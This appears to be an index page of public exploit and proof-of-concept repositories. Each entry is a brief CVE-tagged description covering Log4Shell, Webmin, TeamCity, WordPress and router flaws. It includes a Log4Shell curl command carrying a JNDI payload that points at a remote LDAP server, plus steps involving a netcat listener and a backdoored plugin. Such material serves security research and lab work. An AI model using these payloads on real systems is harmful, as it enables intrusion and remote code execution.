CVE-2021-40444

CVE-2021-40444 PoC Malicious docx generator to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx file You need to...

CVE-2024-2667

InstaWP Connect – 1-click WP Staging & Migration You can use any valid or invalid API Key. overridepluginzip - Path to the zip file which contains malicious WordPress Plugin with a backdoor. Once imported you can access the backdoor via...

CVE-2024-46451

CVE-2024-46451 TOTOLINK AC1200 T8 Exploit - Buffer Overflow Vulnerability This repository contains a Python script that exploits a buffer overflow vulnerability in the TOTOLINK AC1200 T8 version v4.1.5cu.861B20230220 in the setWiFiAclRules function via the desc parameter. Vulnerability Details...

CVE-2018-1335

CVE-2018-1335 RCE vulnerability remote code execution on servers apache Tika-server with versions lower than 1.18 commands: sudo bash install.sh python2 exploit.py...

CVE-2022-22029-NFS-Server-

Windows Network File System Remote Code Execution Vulnerability CVE-2022-22039 To successfully exploit this vulnerability, an attacker must succeed in a race condition. Making an unauthenticated, carefully constructed call to a Network File System NFS service could be used to exploit this...

CVE-2025-4427-CVE-2025-4428

CVE-2025-4428 & CVE-2025-4427 CVE-2025-4428 is a post-auth remote code execution vulnerability in EPMM's DeviceFeatureUsageReportQueryRequestValidator. It arises from the unsafe handling of user-supplied input within error messages processed via Spring’s AbstractMessageSource, which allows...

CVE-2022-0944_RCE_Automation

I am not the researcher who found the exploit just the author of this code. This code is intended for educational purposes only...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

CVE-2024-39840-POC

adapted from writeup: https://memorycorruption.net/posts/rce-lua-factorio/ works on factorio 1.1.86...

CVE-2019-12840

CVE-2019-12840 Authenticated RCE in Webmin 1.910 - 'Package Updates' Usage : 1-setup a netcat listener. 2- python3 exploit.py Notes: Provide the url for example: http://:port Please copy 'sid' cookie from your browser and supply it for the exploit to work...

log4shell-test-exploit

Test exploit of CVE-2021-44228 log4shell Preparation Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git cd marshalsec m...

CVE-2026-67074 HCL BigFix AEX is affected by multiple security vulnerabilities.

HCL BigFix AEX is affected by a Remote Code Execution Vulnerability . It may allow attackers to execute code with the privileges of the affected application or service, potentially leading to unauthorized access, data exposure, or system compromise...

CVE-2026-67074

The software HCL BigFix AEX is affected by a Remote Code Execution vulnerability. This flaw may allow an attacker to execute arbitrary code with the same privileges as the affected application or service, which could result in unauthorized access , data exposure , or complete system compromise . ...

EUVD-2026-112029

HCL BigFix AEX is affected by a Remote Code Execution Vulnerability . It may allow attackers to execute code with the privileges of the affected application or service, potentially leading to unauthorized access, data exposure, or system compromise...

Project-Exploiting-CVE-2024-27198-RCE-Vulnerability

Exploiting CVE-2024-27198-RCE Vulnerability In this project, I exploited the CVE-2024-27198-RCE vulnerability to perform a remote code execution RCE attack on a vulnerable TeamCity server. The vulnerability allows uploading and activating a malicious plugin that provides access to the remote syst...

CVE-2022-25581

CVE-2022-25581 Can't find it anywhere on the web, leaving a backup, Python exploit script , used to automate the following steps: ✅ Script Functionality Objectives 1. Log in to the backend obtain csrf and token 2. Construct a malicious request packet to upload a compressed archive containing a...

CVE-2026-114278

The che-machine-exec service constructs a shell command by concatenating user-controlled input the username and namespace fields from the /exec/init and /exec/config JSON endpoints into a double-quoted sh -c "echo "..." ..." invocation without any escaping. When che-machine-exec is run with...

CVE-2022-22954

CVE-2022-22954 Practicing technical writing with researching CVE-2022-22954 VMware Workspace ONE Access RCE vulnerability...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Proof-of-concept exploit for the critical Log4Shell vulnerability in Apache Log4j ≤ 2.14.1, which allows remote code execution via JNDI injections. ⚠️ This PoC is for educational purposes and controlled testing in authorized environments...

PHP2shell

💀 PHP2shell One-click weaponized PoC for CVE-2026-109618 & CVE-2026-109619 Targeting vulnerable PHP + Apache modphp prefork deployments. ⚠️ WARNING: This tool is provided strictly for authorized security testing, CTFs, and educational research. Do not use this against infrastructure you do not own...